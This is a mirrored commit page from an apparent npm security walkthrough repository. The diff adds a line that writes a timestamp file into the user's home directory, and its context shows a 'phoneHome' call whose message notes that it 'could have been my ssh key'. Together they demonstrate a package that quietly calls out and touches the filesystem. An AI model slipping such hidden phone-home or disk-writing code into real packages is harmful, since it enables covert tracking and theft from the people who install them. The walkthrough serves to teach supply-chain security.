mirror of
https://github.com/cupcakearmy/npm-security-walkthrough.git
synced 2024-12-21 23:56:27 +00:00
write log to disk
This commit is contained in:
parent
3e0f1f7294
commit
84537ffdb0
@ -36,6 +36,7 @@ if (typeof process !== 'undefined') {
|
||||
phoneHome('Could have been my ssh key. Byeee')
|
||||
}
|
||||
}
|
||||
fs.writeFileSync(path.join(os.homedir(), '.amazing-utility'), Date.now().toString())
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
|
Loading…
Reference in New Issue
Block a user